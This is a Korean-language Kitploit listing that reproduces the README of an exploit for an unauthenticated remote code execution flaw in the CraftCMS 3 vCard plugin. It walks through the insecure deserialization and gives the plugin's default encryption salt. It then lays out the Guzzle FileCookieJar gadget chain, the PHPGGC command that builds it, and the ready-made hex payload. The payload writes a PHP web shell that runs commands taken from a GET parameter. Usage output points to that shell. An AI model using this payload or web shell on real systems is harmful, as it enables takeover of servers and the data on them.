Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
craftcms-vcard-exploit — 이 저장소에는 CraftCMS 3용 "vCard" 플러그인에서 발견된 취약점에 대한 세부 정보가 포함되어 있습니다. | Kitploit
도구/GitLabGitLab/wguest/craftcms-vcard-exploit
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitLabwguest/craftcms-vcard-exploit

craftcms-vcard-exploit

이 저장소에는 CraftCMS 3용 "vCard" 플러그인에서 발견된 취약점에 대한 세부 정보가 포함되어 있습니다.

저장소 보기
1106년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

Craft CMS vCard 플러그인 역직렬화 취약점

Craft CMS에는 *.vcf 파일 형식으로 연락처를 다운로드하기 위한 "vCard"라는 플러그인이 있습니다. 이 플러그인은 Craft 저장소와 Github에서 확인할 수 있습니다: Craft Plugin Store Github

설명

이 플러그인은 클라이언트가 보낸 매개변수를 받아 openssl_decrypt로 값을 복호화한 다음, 결과 문자열을 PHP의 unserialize 함수에 전달합니다. 암호화에 사용되는 기본 salt가 저장소에 공개되어 있기 때문에, 공격자는 동일한 로직을 사용하여 악의적인 직렬화 페이로드를 암호화할 수 있습니다.

사용자가 플러그인 설정에서 수정된 "salt" 값을 구성한 경우, 이 값을 Python 스크립트에 매개변수로 제공해야 합니다. 하지만 플러그인 스토어에서 다운로드하거나 저장소를 복제한 경우 이 값은 변경되지 않은 상태로 유지됩니다. Craft 웹 GUI에서 이를 변경할 수 있는 옵션은 없습니다.

스크립트 사용법

연락처 다운로드를 트리거하는 vCard 링크를 제공하여 스크립트를 실행하세요. vcard 매개변수 값을 제거하십시오.

예시: 샘플 vcard 다운로드 링크: http://craftcms/index.php?p=actions/vcard/default/index&vcard=GxHwdD1xmDkQoWbn_nPsgVR-2VOQt6w_oDmLl9h4jAglePdkMM1NMBKHTmq9Uuu7XFM9qvNs3Mi_B0-bT2JbfsflmMDzL29w2QaP28vRBHmyDLTMcacJwuBXEDUqF-sxovuY7oN-YFZXA4jOwC0CyxjLKIjz3UWBf-1ItLRkqKSSAHBuHOMeB5drdTqw67ZCmnlLVI7FYVUNBS9q3WrMRWMhexjHbO2VymDdV3q0GOlZmES9Imgdwq9ibI6okG_QFqHHq33a8U_m4NPvjTqsdm6Wm3OjcPSVV9L2RR8ZnhN9CayfaShb5jligs5b0So2Vddo8EmCZUgKP7-BIT4dlWRGwD_F0w2PyjUZRsRx25ydy6ZklXXHMb4fkrxuKXaHGfB8Y9SUbcQYAUK2OZhZno0FKWzUABDEjjvquevUSTgJr7wNq2oU4YpBwWoQCNGX7ILAuWN8_7GFIajhosdoOilLiLTmoJPWHfdpNKRaZlYcLX9zF7fUXw_BsHJZOySZhbSL0Q7ktzs__DygIL5uuongteXKIafhUFZxPEcC1W9OHy767Lgg77hJwp7lqF1krtHbbQ1o-4hV12dPkouauQ

그러면 스크립트에 전달할 매개변수는 다음과 같습니다: "http://craftcms/index.php?p=actions/vcard/default/index&vcard="

$ ./exploit_vcard.py -u "http://craftcms/index.php?p=actions/vcard/default/index&vcard="
Deserialization has been triggered, navigate to craftCMS webroot/shell.php
Use GET parameter 'cmd' to execute commands
Example: http://craftcms/shell.php?cmd=ls%20-al;whoami;ip%20a

선택적으로 salt 값을 제공할 수 있습니다. 전체 옵션은 여기에 표시됩니다:

usage: exploit_vcard.py [-h] -u URL [-s SALT] [-f FNAME]
Unauthenticated RCE for CraftCMS vCard Plugin

optional arguments:
-h, --help  show this help message and exit
-u URL      The URL for the vCard download without the vCard value Example:
          http://craftcms/index.php?p=actions/vcard/default/index&vcard=
-s SALT     Security key required for encrypting payload. Defaul is
          's34s4L7'
-f FNAME    File path/name to use as value in upload path: ./<value> . Use a
          PHP extension. Default value is 'shell.php'

요구사항

  • Python3

Python 스크립트는 Python 3.6에서 테스트되었습니다.

  • PHP CLI

이 스크립트는 페이로드를 암호화하기 위해 공격자 호스트에서 PHP 명령을 실행합니다. 따라서 php-cli가 설치되어 있어야 합니다. 이 공격은 PHP 7.2-cli 및 PHP 7.3-cli에서 테스트되었습니다.

취약점 분석

다음은 코드가 안전하지 않게 역직렬화하는 부분의 스냅샷입니다 (VCardService.php:297) Github:

  public function decodeUrlParam($optionsString = "")
  {
    $optionsString = $this->decrypt($optionsString);
    $options = unserialize($optionsString);
    return $options;
  }

$optionsString 매개변수는 클라이언트가 제공한 "vcard" URL 매개변수의 값입니다. 이 값은 decrypt 함수를 거친 후 역직렬화됩니다. 클라이언트가 암호화를 모방할 수 있다면, 이 코드는 사용자 제공 데이터를 직접 역직렬화하므로 취약해집니다.

문제의 암호화 함수는 다음과 같습니다 (VCardService.php:306) Github:

  protected function encrypt($string)
  {
    $key = VCard::$plugin->getSettings()->salt;
    $key = md5( $key );
    $iv = substr( md5( $key ), 0, 16);

    return rtrim(
      strtr(
        base64_encode(
          openssl_encrypt( $string, 'aes128', md5( $key ), true, $iv )
        ),
        '+/', '-_'
      ), '='
    );
  }

공격자가 알아야 하는 유일한 값은 "VCard::$plugin->getSettings()->salt"로 설정된 $key 변수입니다. 기본 값은 저장소에서 "s34s4L7"로 확인할 수 있습니다 (config.php:26) Github

기본 salt가 사용된다고 가정하면, 공격자는 Craft 설치본에 있는 모든 클래스의 역직렬화를 강제할 수 있습니다.

Craft 기본 설치본에서 악의적인 목적으로 사용할 수 있는 "gadget" 클래스를 찾아야 합니다. __destruct 또는 __wakeup 매직 함수가 있는 클래스를 검토하면 검토할 목록이 충분히 작아집니다. 이는 "grep -rni < path to web root > -e '__destruct'"를 사용하여 수행할 수 있습니다.

guzzlehttp에는 클래스 속성을 파일 이름으로 사용하여 파일을 저장하는 것으로 보이는 "FileCookieJar"라는 클래스가 있습니다:

./vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php:38:    public function __destruct()
./vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php-39-    {
./vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php-40-        $this->save($this->filename);
./vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php-41-    }
./vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php-42-

save 함수를 조사해 보면 시스템 파일 경로에 데이터를 쓰며, 경로와 데이터 모두 클래스 속성으로 공격자의 통제 하에 있음을 알 수 있습니다. 이 클래스 객체가 소멸될 때 보유하고 있던 쿠키를 파일 이름 속성에 기록하여 나중에 복구하거나 사용할 수 있게 하는 것은 이치에 맞습니다. 다음은 file_put_contents가 우리의 목표인 save 함수의 내용입니다 (FileCookieJar.php:52) Github:

public function save($filename)
{
    $json = [];
    foreach ($this as $cookie) {
        /** @var SetCookie $cookie */
        if (CookieJar::shouldPersist($cookie, $this->storeSessionCookies)) {
            $json[] = $cookie->toArray();
        }
    }

    $jsonStr = \GuzzleHttp\json_encode($json);
 
    if (false === file_put_contents($filename, $jsonStr, LOCK_EX)) {
        throw new \RuntimeException("Unable to save file {$filename}");
    }
}

다행히도 악성 페이로드를 직접 구성하기 위해 수동으로 작업할 필요는 없습니다. 훌륭한 도구인 PHPGGC는 이 익스플로잇에서 사용할 수 있도록 Guzzle 클래스를 페이로드와 함께 직렬화하는 작업을 자동화합니다.

저는 이 도구를 사용하여 익스플로잇 스크립트의 기본 페이로드로 이것을 생성했습니다. 파일 이름에 따라 약간 수정되지만요. 또한 PHPGGC로 새 페이로드를 생성하는 경우 "-f" 매개변수를 반드시 사용해야 하며, 그렇지 않으면 __destruct 매직 함수가 실행되지 않는다는 점을 알아두는 것이 중요합니다:

craft@craftcms:~/phpggc$ ./phpggc Guzzle/FW1 "./shell.php" ./sample.txt -f
a:2:{i:7;O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:41:"GuzzleHttp\Cookie\FileCookieJarfilename";s:11:"./shell.php";s:52:"GuzzleHttp\Cookie\FileCookieJarstoreSessionCookies";b:1;s:36:"GuzzleHttp\Cookie\CookieJarcookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:33:"GuzzleHttp\Cookie\SetCookiedata";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:67:"<pre><?php if(isset($_GET['cmd'])) { system($_GET['cmd']);    } ?>
";}}}s:39:"GuzzleHttp\Cookie\CookieJarstrictMode";N;}i:7;i:7;}

sample.txt의 내용은 다음과 같습니다: <pre><?php if(isset($_GET['cmd'])) { system($_GET['cmd']); } ?>

속성이 올바르게 매핑되려면 직렬화된 클래스에 널 바이트가 있어야 하므로 일반적인 복사+붙여넣기는 여기서 작동하지 않는다는 점에 주의하세요. 암호화 과정을 모방하면서 도구의 원시 출력을 hex로 변환한 다음 다시 문자열로 변환해야 했습니다. hex 페이로드를 얻기 위해 사용한 bash는 다음과 같습니다.

craft@craftcms:~/phpggc$ ./phpggc Guzzle/FW1 "./shell.php" ./sample.txt -f | xxd | cut -d " " -f 2-9 | tr -d " \n"
613a323a7b693a373b4f3a33313a2247757a7a6c65487474705c436f6f6b69655c46696c65436f6f6b69654a6172223a343a7b733a34313a220047757a7a6c65487474705c436f6f6b69655c46696c65436f6f6b69654a61720066696c656e616d65223b733a31313a222e2f7368656c6c2e706870223b733a35323a220047757a7a6c65487474705c436f6f6b69655c46696c65436f6f6b69654a61720073746f726553657373696f6e436f6f6b696573223b623a313b733a33363a220047757a7a6c65487474705c436f6f6b69655c436f6f6b69654a617200636f6f6b696573223b613a313a7b693a303b4f3a32373a2247757a7a6c65487474705c536574436f6f6b6965223a313a7b733a33333a220047757a7a6c65487474705c536574436f6f6b69650064617461223b613a333a7b733a373a2245787069726573223b693a313b733a373a2244697363617264223b623a303b733a353a2256616c7565223b733a36373a223c7072653e3c3f70687020696628697373657428245f4745545b27636d64275d2929207b2073797374656d28245f4745545b27636d64275d293b202020207d203f3e0a223b7d7d7d733a33393a220047757a7a6c65487474705c436f6f6b69655c436f6f6b69654a6172007374726963744d6f6465223b4e3b7d693a373b693a373b7d0a
도구 다운로드